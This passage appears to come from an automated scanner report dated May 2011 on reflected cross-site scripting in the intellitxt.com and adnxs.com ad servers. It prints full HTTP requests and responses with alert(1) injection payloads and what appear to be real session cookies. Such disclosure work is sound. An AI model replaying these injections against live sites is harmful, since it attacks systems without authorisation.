P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Content-Type: text/html
Content-Length: 205
Date: Tue, 10 May 2011 13:40:00 GMT
Age: 0
Connection: keep-alive

<html><body><script src="http://pixel.intellitxt.com/pixel.jsp?id=2659,2682,2779,2613&type=script&ipid=31004&sfid=064025"><script>alert(1)</script>bd92f79eea7" language="javascript"></script></body></
...[SNIP]...

4.193. http://geek.us.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://geek.us.intellitxt.com
Path:	/intellitxt/front.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9b232'-alert(1)-'2a767a6a7cf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /intellitxt/front.asp?ipid=31004&9b232'-alert(1)-'2a767a6a7cf=1 HTTP/1.1
Host: geek.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7OwkAAAEv1Y7clgA-; VM_PIX="AQAAAAkAAAo3AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKyQEAAAABAAABL5IvXhoAAAo9AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAK5wEAAAABAAABL5IvXhoAAApdAQAAAAEAAAEv1Y1ySwAACtUBAAAAAQAAAS+SL14aAAAKxwEAAAABAAABL5IvXhoAAApOAQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKTwEAAAACAAABL9WNcksAAAEv1Y2o5wAAAAAq7Eue"

Response

HTTP/1.1 200 OK
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAoAAAEv2hkAFQA-; Domain=.intellitxt.com; Expires=Sat, 09-Jul-2011 13:29:22 GMT; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Content-Type: application/x-javascript;charset=iso-8859-1
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:29:22 GMT
Age: 0
Connection: keep-alive
Content-Length: 10768

document.itxtDebugOn=0;if('undefined'==typeof $iTXT){$iTXT={};};$iTXT.debug={Log:function()
{},Category:{},error:function()
{},info:function()
{},debug:function()
{},trace:function()
{},Util:{isLoggin
...[SNIP]...
"};$iTXT.glob.itxtRunning=1;$iTXT.js.qaol=false;
$iTXT.js.gaEnabled=false;$iTXT.js.serverUrl='http://geek.us.intellitxt.com';$iTXT.js.serverName='geek.us.intellitxt.com';$iTXT.js.pageQuery='ipid=31004&9b232'-alert(1)-'2a767a6a7cf=1';$iTXT.js.umat=true;$iTXT.js.startTime=(new Date()).getTime();(function(){var e=document.createElement("img");e.src="http://b.scorecardresearch.com/b?c1=8&c2=6000002&c3=90000&c4=&c5=&c6=&c15=&cv=1.3
...[SNIP]...

4.194. http://geek.us.intellitxt.com/v4/init [jscallback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://geek.us.intellitxt.com
Path:	/v4/init

Issue detail

The value of the jscallback request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 7d32a%3balert(1)//08f87d69318 was submitted in the jscallback parameter. This input was echoed as 7d32a;alert(1)//08f87d69318 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /v4/init?ts=1305033295092&pagecl=82417&fv=10&muid=&refurl=http%3A%2F%2Fwww.geek.com%2Farticles%2Fgeek-pick%2Fgoogle-music-to-launch-in-beta-at-io-2011-20110510%2F&ipid=31004&jscallback=$iTXT.js.callback07d32a%3balert(1)//08f87d69318 HTTP/1.1
Host: geek.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAkAAArJAQAAAAEAAAEvki9eGgAACjcBAAAAAgAAAS/VjXJLAAABL9WO+UcAAAo9AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKXQEAAAABAAABL9WNcksAAArnAQAAAAEAAAEvki9eGgAACtUBAAAAAQAAAS+SL14aAAAKTgEAAAACAAABL9WNcksAAAEv1Y75RwAACscBAAAAAQAAAS+SL14aAAAKTwEAAAACAAABL9WNcksAAAEv1Y2o5wAAAAC5QIfW"; VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAAAAAAAAAAAAAEKCAcz

Response

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Content-Type: application/x-javascript;charset=iso-8859-1
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:44:08 GMT
Age: 0
Connection: keep-alive
Content-Length: 15320

var undefined;if(null==$iTXT.glob.dbParams||undefined==$iTXT.glob.dbParams){$iTXT.glob.dbParams=new $iTXT.data.Param(undefined,undefined,undefined,'DATABASE');}$iTXT.glob.dbParams.set({"searchengine.h
...[SNIP]...
et('initskip',0);$iTXT.data.Context.params.set('minimagew',180);$iTXT.data.Context.params.set('minimageh',200);$iTXT.data.Context.params.set('intattrs','alt,title,href,src,name');try{$iTXT.js.callback07d32a;alert(1)//08f87d69318({"requiresContextualization":0,"requiresAdverts":1});}catch(e){}

4.195. http://geek.us.intellitxt.com/v4/init [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://geek.us.intellitxt.com
Path:	/v4/init

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 67029"-alert(1)-"bfa261a2b20 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /v4/init?ts=1305033295092&pagecl=82417&fv=10&muid=&refurl=http%3A%2F%2Fwww.geek.com%2Farticles%2Fgeek-pick%2Fgoogle-music-to-launch-in-beta-at-io-2011-20110510%2F&ipid=31004&jscallback=$iTXT.js.callback0&67029"-alert(1)-"bfa261a2b20=1 HTTP/1.1
Host: geek.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/google-music-to-launch-in-beta-at-io-2011-20110510/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAkAAArJAQAAAAEAAAEvki9eGgAACjcBAAAAAgAAAS/VjXJLAAABL9WO+UcAAAo9AQAAAAIAAAEv1Y1ySwAAAS/VjvlHAAAKXQEAAAABAAABL9WNcksAAArnAQAAAAEAAAEvki9eGgAACtUBAAAAAQAAAS+SL14aAAAKTgEAAAACAAABL9WNcksAAAEv1Y75RwAACscBAAAAAQAAAS+SL14aAAAKTwEAAAACAAABL9WNcksAAAEv1Y2o5wAAAAC5QIfW"; VM_USR=AArNPECOHUvQr+aEbt9FOpIAADrpAAA7PAAAAAAAAAAAAAEKCAcz

Response

HTTP/1.1 200 OK
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Access-Control-Allow-Origin: *
Content-Type: application/x-javascript;charset=iso-8859-1
Vary: Accept-Encoding
Date: Tue, 10 May 2011 13:45:31 GMT
Age: 0
Connection: keep-alive
Content-Length: 14569

var undefined;if(null==$iTXT.glob.dbParams||undefined==$iTXT.glob.dbParams){$iTXT.glob.dbParams=new $iTXT.data.Param(undefined,undefined,undefined,'DATABASE');}$iTXT.glob.dbParams.set({"searchengine.h
...[SNIP]...
|undefined==$iTXT.glob.dbgParams){$iTXT.glob.dbgParams=new $iTXT.data.Param($iTXT.glob.dbParams,undefined,undefined,'DEBUG');}$iTXT.glob.dbgParams.set({"pagecl":"82417","fv":"10","ts":"1305033295092","67029"-alert(1)-"bfa261a2b20":"1","dma":623,"POSTCODE":"75207","user-agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24","REGIONNAME":"Texas","muid":"","city":"Dall
...[SNIP]...

4.196. http://ib.adnxs.com/ab [click parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/ab

Issue detail

The value of the click request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c0659'-alert(1)-'f6cd6961304 was submitted in the click parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ab?enc=FK5H4XoUCkBj7lpCPugFQAAAAKCZmfE_Y-5aQj7oBUAUrkfhehQKQMlAlmmL5qRxSsYda6b2ziUvOslNAAAAAKNHAwBlAQAAHgAAAAMAAACHbQUAPWQAAAEAAABVU0QAVVNEANgCWgDWFbkE4RABAgUCAAIAAAAAKyLT1wAAAAA.&tt_code=huffingtonpost.com&click=http://va.px.invitemedia.com/pixel%3FreturnType=redirect%26key=Click%26message=eJwVizsSgEAIQ6_iUFsQPgt4ph07K8e7C1XemyQvqdJ1LEacB6kMoxzVhhZKZJaocxYkGMtAs5wuXDjG5iad3glhNFrj_ezduBrNHN8PZO0U.Q--%26redirectURL=c0659'-alert(1)-'f6cd6961304&pixel=http://va.px.invitemedia.com/adnxs_imp%3FreturnType=image%26key=AdImp%26cost=$%7BPRICE_PAID%7D%26creativeID=114297%26message=eJwVizsSgEAIQ6_iUFsQPgt4ph07K8e7C1XemyQvqdJ1LEacB6kMoxzVhhZKZJaocxYkGMtAs5wuXDjG5iad3glhNFrj_ezduBrNHN8PZO0U.Q--%26managed=false&referrer=http://www.huffingtonpost.com&pp=AAABL9oLStW_K2KI0cxMwk-JhDaqo1prixhpVQ&pubclick=http%3A%2F%2Fbid.openx.net%2Fclick%3Fcd%3DH4sIAAAAAAAAABXLwQ3CMAwF0F8KKFLX4GoRt07iIDECQ6SNLfXIBMzHBKyD-u5vwgDgVm1pmhYnzRpJcirUYp8pbim5WBfTHHB6fR_3CeMxyuqRZ87UrDKJ9E4r141cuWYWr2Yp4AyUZ8AFw-8TcAXeO_49WGqxcwAAAA%3D%3D%26dst%3D HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChIIp4ABEAoYASABKAEwjqeg7gQKEgiFugIQChgCIAIoAjDilKDuBBCOp6DuBBgC; acb754301=5_[r^208WM-xH[I7=/CbfvQno?enc=v0UnS6335z-Si9b2G5LlPwAAAKCZmfk_kovW9huS5T-_RSdLrffnP2mS_Kn0Iys1SsYda6b2ziWOE8hNAAAAAOQ8AwA3AQAAZAAAAAIAAAAGEgUAv14AAAEAAABVU0QAVVNEACwB-gCqAQAAtw8BAgUCAAUAAAAAbibNEQAAAAA.&tt_code=cm.quadhearst&udj=uf%28%27a%27%2C+27%2C+1304957886%29%3Buf%28%27g%27%2C+1079%2C+1304957886%29%3Buf%28%27r%27%2C+332294%2C+1304957886%29%3Bppv%2882%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2884%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2811%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2882%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2884%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2887%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3Bppv%28619%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3Bppv%28620%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3Bppv%28621%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3B&cnd=!ER3LQgjWiAQQhqQUGAAgv70BKAAx6bBndKz35z9CEwgAEAAYACABKP7__________wFCDAhSEJLabhhnIAMoBUIMCFQQ0tYpGCggAygFSANQAFiqA2AAaGQ.&custom_macro=ADV_FREQ%5E0%5EREM_USER%5E0%5ECP_ID%5E66646; sess=1; uuid2=2724386019227846218; anj=Kfw)(CZ#0s(F?MZLVSg3#>:`0`Wj>*99YvdPfber+muSItfpTJar!ZSD^Ql9FTEfo_.m(nTf9tT(*6)F#FuwONj>>h?Z7pb#DccF4z/[cu:+7%rZkn<p3H49nTZCPds!V`Y@*fE<@f^#sP=6D!wRXt:8bx:DwO'KfZD92w#ZzR?`C*Ujg`bSN<a.^uRQM#lc*!RjuC05O_5NKNYsBm%DgcrA*YwV7n!4SWV=H[h2Qm'N=gHln-BRQ^9N_[jKC0Y3anm3f]?G$5tjF(2cB$+CX'iJ5mBf[`Nwk@kV$z/F3X6r^>1en5n`x2YTf+]%ngUhhQ+Ej$h3D5v$u[`i5_JgaFofRElE0J/z!k[b:Rvf]Kn9+^/Ow(7Po<23EJWHwgSfSH].n]VjkoS[T@0pw8yMTeCE4WB.CR^@>bw1KU1QTdWcUfc^H?ltmT-PW-BI8IVRoxZtiXO=J)R:kGSOZkd`?@w'*!Zm]nh%)$)ufL7.iVY+Dw?eO9jyj[UUV0nVaBX^t:UO`Y+i-9v`fU`./^L!Zx!l7#+4Vr4<nOkV9SAr8>SjVLn/dS]Jovg+[IRP=`w0i?PX%5Mt@7.H.4(?vzu]i#<UT(fsZg*[hX]tGYysyP0D^r]d2L!OZy7])HYbS:@+b>mYdKKW#8fhyO=UMn!Ct'HlraM?u?b(q])4M*E2wtbw%x<R5zY_xe?

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Wed, 11-May-2011 13:34:10 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Mon, 08-Aug-2011 13:34:10 GMT; domain=.adnxs.com; HttpOnly
Content-Type: text/javascript
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Mon, 08-Aug-2011 13:34:10 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfw)(CZ#0s(F?MZLVSg3#>:`0`Wj<q%aaoUPfbGhP:t/X7`c0Y]vsJ[AN?z?AwOycr)#ELZ8:$LOF-^5XK>$3Curma(DRmk8zM:n'@pozh=91+wtXalhG+6oJBTzKHH(2n1#(_j-=#pHbWg_Wom0Jt?9CT(kV$>3b7Y:xAjzk))IZ80]mO3)n$ft0t6Klq5_p#w][HUVV$Bfl#/!6W*(oQicOY9(MHI.Dh-*hCEJ_/pcbP_dKjZy>cH>Oz_QOy6sD9E7_]@CZ-kh6zB.0m2azz#J`y/Pb]tI^XkVQ*gk+W^)CrralHb2jk:PaG`)eVn+ua2d=$YZ/Zv`IHj`5eAJKkbmfg]f=h9GCo3JuJlPFip6NiWUU?KaIq:^@3khN%)o`jKE']Ax)u!vVcDZ^L64W-VZMQeSV0^*(14AtYp$0Klc'!A8.'-8%2pCkHd`$Rp=U)Ab7oapu9'O5QpVsMM(>6glTQk`H2U!sIqfwBJDnjgH9e`PGKn<St4dzs_R6)-4mY'W4@4UI<(=aV3Y>?A(s:e+c.A[U2wGd4)e'kQdoxAJ3]rCnImpIO0jFQ:jL[zehU_<W1P^zQU[=>+wuOU0Lm./h[uOxBpA-gdQPtlrwv.ebk:B>5WRitpMMUot*SI?x+d2wFE9]rvsH>nC>^dF5dEF1qmq[Gv3yh#uaq:T'0@[T; path=/; expires=Mon, 08-Aug-2011 13:34:10 GMT; domain=.adnxs.com; HttpOnly
Date: Tue, 10 May 2011 13:34:10 GMT
Content-Length: 3054

function writeJS(doc){
var str='';
str += '<script type="text\/javascript"> \n';
str += 'function pr_swfver(){ \n';
str += 'var osf,osfd,i,axo=1,v=0,nv=navigator; \n';
str += 'if(nv.plugins&&nv.mimeTy
...[SNIP]...
//va.px.invitemedia.com/pixel%3FreturnType=redirect%26key=Click%26message=eJwVizsSgEAIQ6_iUFsQPgt4ph07K8e7C1XemyQvqdJ1LEacB6kMoxzVhhZKZJaocxYkGMtAs5wuXDjG5iad3glhNFrj_ezduBrNHN8PZO0U.Q--%26redirectURL=c0659'-alert(1)-'f6cd6961304http%253A%252F%252Fbid.openx.net%252Fclick%253Fcd%253DH4sIAAAAAAAAABXLwQ3CMAwF0F8KKFLX4GoRt07iIDECQ6SNLfXIBMzHBKyD-u5vwgDgVm1pmhYnzRpJcirUYp8pbim5WBfTHHB6fR_3CeMxyuqRZ87UrDKJ9E4r141cuWYWr2Yp4AyUZ8AFw-8
...[SNIP]...

4.197. http://ib.adnxs.com/ab [cnd parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/ab

Issue detail

The value of the cnd request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a145b'-alert(1)-'c454ca62040 was submitted in the cnd parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ab?enc=mpmZmZmZCUCamZmZmZkJQAAAAKCZmQlAmpmZmZmZCUCamZmZmZkJQFFFHlTWPNEMSsYda6b2ziU7OslNAAAAABUbAAC1AAAAlgIAAAIAAADIpAIA0WMAAAEAAABVU0QAVVNEANgCWgC1GHIAPhABAgUCAAQAAAAADiMwdQAAAAA.&tt_code=&udj=uf%28%27a%27%2C+9797%2C+1305033308%29%3Buf%28%27c%27%2C+51263%2C+1305033308%29%3Buf%28%27r%27%2C+173256%2C+1305033308%29%3Bppv%288991%2C+%27923586289819600209%27%2C+1305033308%2C+1305076508%2C+51263%2C+25553%29%3B&cnd=!kR7geQi_kAMQyMkKGAAg0ccBMAA4tTFAAEiWBVAAWABg2gFoAHCsAnj8W4AB9gSIAaQUkAEBmAEBoAEDqAEDsAEBuQEAAACgmZkJQMEBAAAAoJmZCUDJAbjdQpCsz7k_0AEAa145b'-alert(1)-'c454ca62040&referrer=http://www.androidcentral.com/android-central-google-io-2011&pp=Tck6OwAMtuAK2lvH4Do03op775UZ_sl0gQBYXg&pubclick=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DB3vh7OzrJTeDtMse36Qbe6eiBDtfq-NMBr56U7Bjrwu3UHAAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAHD8v3sA7IBFnd3dy5hbmRyb2lkY2VudHJhbC5jb226AQk3Mjh4OTBfYXPIAQnaATxodHRwOi8vd3d3LmFuZHJvaWRjZW50cmFsLmNvbS9hbmRyb2lkLWNlbnRyYWwtZ29vZ2xlLWlvLTIwMTGYAtwQwAIEyAKF0s8KqAMB6AOOCOgDrwjoA-gE6AOTCfUDAAAAxIAG--Ohhf7g767AAQ%26num%3D1%26sig%3DAGiWqtyPZXDoeqgWv10Nz_yf_zYwhy0uEQ%26client%3Dca-pub-9914992914910847%26adurl%3D HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=ChIIp4ABEAoYASABKAEwjqeg7gQKEgiFugIQChgCIAIoAjDilKDuBBCOp6DuBBgC; acb754301=5_[r^208WM-xH[I7=/CbfvQno?enc=v0UnS6335z-Si9b2G5LlPwAAAKCZmfk_kovW9huS5T-_RSdLrffnP2mS_Kn0Iys1SsYda6b2ziWOE8hNAAAAAOQ8AwA3AQAAZAAAAAIAAAAGEgUAv14AAAEAAABVU0QAVVNEACwB-gCqAQAAtw8BAgUCAAUAAAAAbibNEQAAAAA.&tt_code=cm.quadhearst&udj=uf%28%27a%27%2C+27%2C+1304957886%29%3Buf%28%27g%27%2C+1079%2C+1304957886%29%3Buf%28%27r%27%2C+332294%2C+1304957886%29%3Bppv%2882%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2884%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2811%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2882%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2884%2C+%273831195441739633257%27%2C+1304957886%2C+1315325886%2C+66646%2C+24255%29%3Bppv%2887%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3Bppv%28619%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3Bppv%28620%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3Bppv%28621%2C+%273831195441739633257%27%2C+1304957886%2C+1305044286%2C+66646%2C+24255%29%3B&cnd=!ER3LQgjWiAQQhqQUGAAgv70BKAAx6bBndKz35z9CEwgAEAAYACABKP7__________wFCDAhSEJLabhhnIAMoBUIMCFQQ0tYpGCggAygFSANQAFiqA2AAaGQ.&custom_macro=ADV_FREQ%5E0%5EREM_USER%5E0%5ECP_ID%5E66646; sess=1; uuid2=2724386019227846218; anj=Kfw)(CZ#0s(F?MZLVSg3#Ktd]`Wj>*99Yuq/#m45DLc)]'m]Ts]%zH1@gU@*U>F>I2)HGbiWdPd94giYXK>!Q*dT:IOMtgb>fIdGdu9I]aLe[#mlK'C6EcG7>FZLlhRPbBOmlegdW$_'A%KICOO(KL]#qPVvvvZgHEwDWBfGAtIj46J@f[9Ls?WARw$wAalSVTy@kfm>jE`bgNL!qPIwWaWA2$LV92cm#h-*ShZy(R_cetv-Gsb]k`lLkSa//s$sCldFO5?03>9$h(B.V$`cWYr:KGjQ<]X*c)60@5bLUU)bGJGcu^=-xqOJQPt(hZQxua2K4$kN=yubE_cAYtCt7Ud+hF0a9I/^`bX7<e!`[2+!PE$VIz7Ov=Ka+!=5N'hzpiNEIFAx)nsv^PO9s%MTv-sW!XeP3#^6ZZz9tv4(5Km0]15i0Pb8%F#FiNfct7#kF2NcoY3l)F6W5Y<HF8):HTZx5NEr?QB:M*xDk0Oac[4<=L08xs=u/xW2.w5[6f/^u[?Ru$g)Iq/jJVN]T3kF+#vraEnn2)atNDjXHDUH[ksqxj=WdPr$!:lfy'(-ezGRuCS[PGk>_QUI%8qTy3q)1*R$pLAmNZOunWnYp`0uL*$$CGrJ5qjapptE('LvB7`YMpMZj_m)fA%gpu'C??'^b1MEhppwp6v3wPKuaq9_w<m^s

Response

HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, private
Pragma: no-cache
Expires: Sat, 15 Nov 2008 16:00:00 GMT
P3P: CP="OTI DSP COR ADMo TAIo PSAo PSDo CONo OUR SAMo OTRo STP UNI PUR COM NAV INT DEM STA PRE LOC"
Set-Cookie: sess=1; path=/; expires=Wed, 11-May-2011 13:37:56 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Mon, 08-Aug-2011 13:37:56 GMT; domain=.adnxs.com; HttpOnly
Content-Type: text/javascript
Set-Cookie: uuid2=2724386019227846218; path=/; expires=Mon, 08-Aug-2011 13:37:56 GMT; domain=.adnxs.com; HttpOnly
Set-Cookie: anj=Kfw)(CZ#0s(F?MZLVSg3#Ktd]`Wj>*99Yuq/#m45DLc)]'m]Ts]%zH1@gU@*U>F>I2)HGbiWdPd94giYXK>!Q*dT:IOMtgb>fIdGdu9I]aLe[#mlK'C6EcG7>FZLlhRPbBOmlegdW$_'A%KICOO(KL]#qPVvvvZgHEwDWBfGAtIj46J@f[9Ls?WARw$wAalSVTy@kfm>jE`bgNL!qPIwWaWA2$LV92cm#h-*ShZy(R_cetv-Gsb]k`lLkSa//s$sCldFO5?03>9$h(B.V$`cWYr:KGjQ<]X*c)60@5bLUU)bGJGcu^=-xqOJQPt(hZQxua2K4$kN=yubE_cAYtCt7Ud+hF0a9I/^`bX7<e!`[2+!PE$VIz7Ov=Ka+!=5N'hzpiNEIFAx)nsv^PO9s%MTv-sW!XeP3#^6ZZz9tv4(5Km0]15i0Pb8%F#FiNfct7#kF2NcoY3l)F6W5Y<HF8):HTZx5NEr?QB:M*xDk0Oac[4<=L08xs=u/xW2.w5[6f/^u[?Ru$g)Iq/jJVN]T3kF+#vraEnn2)atNDjXHDUH[ksqxj=WdPr$!:lfy'(-ezGRuCS[PGk>_QUI%8qTy3q)1*R$pLAmNZOunWnYp`0uL*$$CGrJ5qjapptE('LvB7`YMpMZj_m)fA%gpu'C??'^b1MEhppwp6v3wPKuaq9_w<m^s; path=/; expires=Mon, 08-Aug-2011 13:37:56 GMT; domain=.adnxs.com; HttpOnly
Date: Tue, 10 May 2011 13:37:56 GMT
Content-Length: 1457

document.write('<scr' + 'ipt language=\"Javascript\"><!--\n amgdgt_p=\"5112\";\n amgdgt_pl=\"c4bd92c5\"; \n amgdgt_t = \"i\";\n amgdgt_clkurl = \"http://ib.adnxs.com/click/H4XrUbgeAUAfhetRuB4BQAAA
...[SNIP]...
AIA0WMAAAEAAABVU0QAVVNEANgCWgC1GHIAPhABAgUCAAQAAAAAPCEvmAAAAAA./cnd=!kR7geQi_kAMQyMkKGAAg0ccBMAA4tTFAAEiWBVAAWABg2gFoAHCsAnj8W4AB9gSIAaQUkAEBmAEBoAEDqAEDsAEBuQEAAACgmZkJQMEBAAAAoJmZCUDJAbjdQpCsz7k_0AEAa145b'-alert(1)-'c454ca62040/referrer=http%3A%2F%2Fwww.androidcentral.com%2Fandroid-central-google-io-2011/clickenc=http%3A%2F%2Fgoogleads.g.doubleclick.net%2Faclk%3Fsa%3Dl%26ai%3DB3vh7OzrJTeDtMse36Qbe6eiBDtfq-NMBr56U7Bjrwu3UHAAQ
...[SNIP]...

4.198. http://ib.adnxs.com/ab [custom_macro parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/ab

Issue detail

The value of the custom_macro request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e52ec'%3balert(1)//81fed1c90b4 was submitted in the custom_macro parameter. This input was echoed as e52ec';alert(1)//81fed1c90b4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

